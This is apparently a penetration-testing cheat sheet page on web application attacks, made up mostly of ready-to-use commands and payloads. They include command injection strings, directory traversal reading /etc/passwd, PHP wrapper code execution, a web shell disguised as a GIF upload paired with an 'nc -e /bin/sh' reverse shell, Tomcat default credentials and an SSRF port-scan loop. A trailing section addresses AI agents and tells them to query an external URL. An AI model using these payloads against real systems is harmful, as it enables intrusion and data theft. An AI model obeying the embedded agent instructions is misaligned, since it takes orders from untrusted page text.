# Web Application

Checking HTTP Methods

```
curl -i -X OPTIONS http://XXXX
nmap --script http-methods --script-args http-methods.url-path='/test' $ip
Curl usage
curl -X POST http://internal-01.bart.htb/simple_chat/register.php -d "uname=0xdf&passwd=password"
```

Shell via Put Method

```
Put Shell
curl -X PUT -T "/path/to/file" "http://myputserver.com/puturl.tmp"
curl -X MOVE --header  "Destination:http://ip/asp.asp" "http://ip/asp.txt"
```

RFI

```
$ fimap -u "http://$ip/example.php?test="
$ https://github.com/lightos/Panoptic/
```

JBOSS

```
JMX Console http://$ip:8080/jmxconcole/

```

Tomcat Manager Default Credentials 

```
Tomcat manager, try default credentials: tomcat/tomcat, admin/manager, admin/password, admin/s3cret, admin (emtpy password).

```

Command Injection 

```
Command injection
`id`
| id
&& id
error || id
%0a id
```

File upload bypass

```
content-type:image/gif
GIF89a <?php echo system{$_REQUEST['ippsec']); ?>
?ippsec=nc -e /bin/sh ip port
```

SQL Shell

```
msql -u root -p
\! /bin/sh
```

LFI&#x20;

```
 Linux
../../../../../../../../../../etc/passwd
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
../../../../../../../../../../etc/passwd%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%2500

Windows
../../../../../../../../../../boot.ini
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
../../../../../../../../../../boot.ini%00
..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%2500
Wordlists
/usr/share/wordlists/SecLists/Fuzzing/JHADDIX_LFI.txt
```

LFI Wrappers

```
LFI Wrappers
expect://
http://x.x.x.x/blah?parameter=expect://whoami
data://
http://x.x.x.x/blah?parameter=data://text/plain;base64,PD8gcGhwaW5mbygpOyA/Pg==
# the base64 encoded payload is: <? phpinfo(); ?>
input://
http://x.x.x.x/blah?parameter=php://input
# POST data (using Hackbar)
<? phpinfo(); ?>
```

LFI to RCE

```
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20inclusion#wrapper-data

```

SSRF

```
for i in $(seq 1 60000); do echo $i; curl -X GET http://ip:60000/url.php?path=http://localhost:$i/ 2> /dev/null | tr -d “\n”; done

```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://infosecsanyam261.gitbook.io/tryharder/web-application.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.